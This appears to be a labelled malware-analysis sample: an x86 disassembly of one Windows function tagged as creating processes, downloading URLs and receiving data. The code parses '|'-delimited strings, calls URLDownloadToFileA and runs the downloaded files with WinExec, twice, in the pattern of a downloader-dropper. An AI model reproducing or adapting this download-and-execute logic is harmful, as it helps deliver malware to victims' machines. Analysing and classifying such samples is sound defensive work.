Function at 0x404124
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov ecx, 9
push 0
push 0
dec ecx
jne 0x40412c
push ecx
xor eax, eax
push ebp
push 0x40437c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00404424
lea eax, [ebp - 0x24]
mov edx, 0x404388
call fcn.0040312c
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00403e7c
mov eax, dword [ebp - 0x20]
call fcn.00403374
mov edx, eax
lea eax, [ebp - 0x1c]
call fcn.0040312c
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.00403de8
mov eax, dword [ebp - 0x18]
call fcn.00403374
mov edx, eax
lea eax, [ebp - 0x14]
call fcn.0040312c
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 4]
call fcn.00403d84
mov eax, dword [ebp - 4]
call fcn.00403374
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.0040312c
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x28]
call fcn.00403e7c
mov edx, dword [ebp - 0x28]
lea eax, [ebp - 4]
call fcn.00403094
lea eax, [ebp - 8]
push eax
mov cl, 0x7c
mov dl, 0x7c
mov eax, dword [ebp - 4]
call fcn.00403f1c
mov eax, dword [ebp - 8]
call fcn.00403174
inc eax
lea edx, [ebp - 4]
mov ecx, eax
mov eax, 1
xchg edx, eax
call fcn.00403414
lea eax, [ebp - 0x10]
push eax
mov cl, 0x7c
mov dl, 0x7c
mov eax, dword [ebp - 4]
call fcn.00403f1c
call fcn.00403fdc
mov edx, eax
lea eax, [ebp - 0xc]
call fcn.0040312c
cmp dword [ebp - 0xc], 0
jne 0x40421c
lea eax, [ebp - 0xc]
mov edx, 0x4043b8
call fcn.00403094
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004032c0
je 0x4042b9
push 0
push 0
lea eax, [ebp - 0x34]
call fcn.00404070
mov eax, dword [ebp - 0x34]
call fcn.00403374
mov edx, eax
lea eax, [ebp - 0x30]
call fcn.0040312c
lea eax, [ebp - 0x30]
mov edx, 0x4043c4
call fcn.0040317c
mov eax, dword [ebp - 0x30]
call fcn.00403374
push eax
mov eax, dword [ebp - 0x10]
call fcn.00403374
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
jne 0x4042b9
push 5
lea eax, [ebp - 0x3c]
call fcn.00404070
mov eax, dword [ebp - 0x3c]
call fcn.00403374
mov edx, eax
lea eax, [ebp - 0x38]
call fcn.0040312c
lea eax, [ebp - 0x38]
mov edx, 0x4043c4
call fcn.0040317c
mov eax, dword [ebp - 0x38]
call fcn.00403374
push eax
call sub.kernel32.dll_WinExec
mov eax, dword [ebp - 8]
call fcn.00403374
call fcn.004040b0
mov eax, dword [ebp - 8]
call fcn.00403174
inc eax
lea edx, [ebp - 4]
mov ecx, eax
mov eax, 1
xchg edx, eax
call fcn.00403414
lea eax, [ebp - 0x10]
push eax
mov cl, 0x7c
mov dl, 0x7c
mov eax, dword [ebp - 4]
call fcn.00403f1c
push 0
push 0
lea eax, [ebp - 0x44]
call fcn.00404070
mov eax, dword [ebp - 0x44]
call fcn.00403374
mov edx, eax
lea eax, [ebp - 0x40]
call fcn.0040312c
lea eax, [ebp - 0x40]
mov edx, 0x4043dc
call fcn.0040317c
mov eax, dword [ebp - 0x40]
call fcn.00403374
push eax
mov eax, dword [ebp - 0x10]
call fcn.00403374
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
jne 0x404361
push 5
lea eax, [ebp - 0x4c]
call fcn.00404070
mov eax, dword [ebp - 0x4c]
call fcn.00403374
mov edx, eax
lea eax, [ebp - 0x48]
call fcn.0040312c
lea eax, [ebp - 0x48]
mov edx, 0x4043dc
call fcn.0040317c
mov eax, dword [ebp - 0x48]
call fcn.00403374
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404383
lea eax, [ebp - 0x4c]
mov edx, 0x13
call fcn.00403020
ret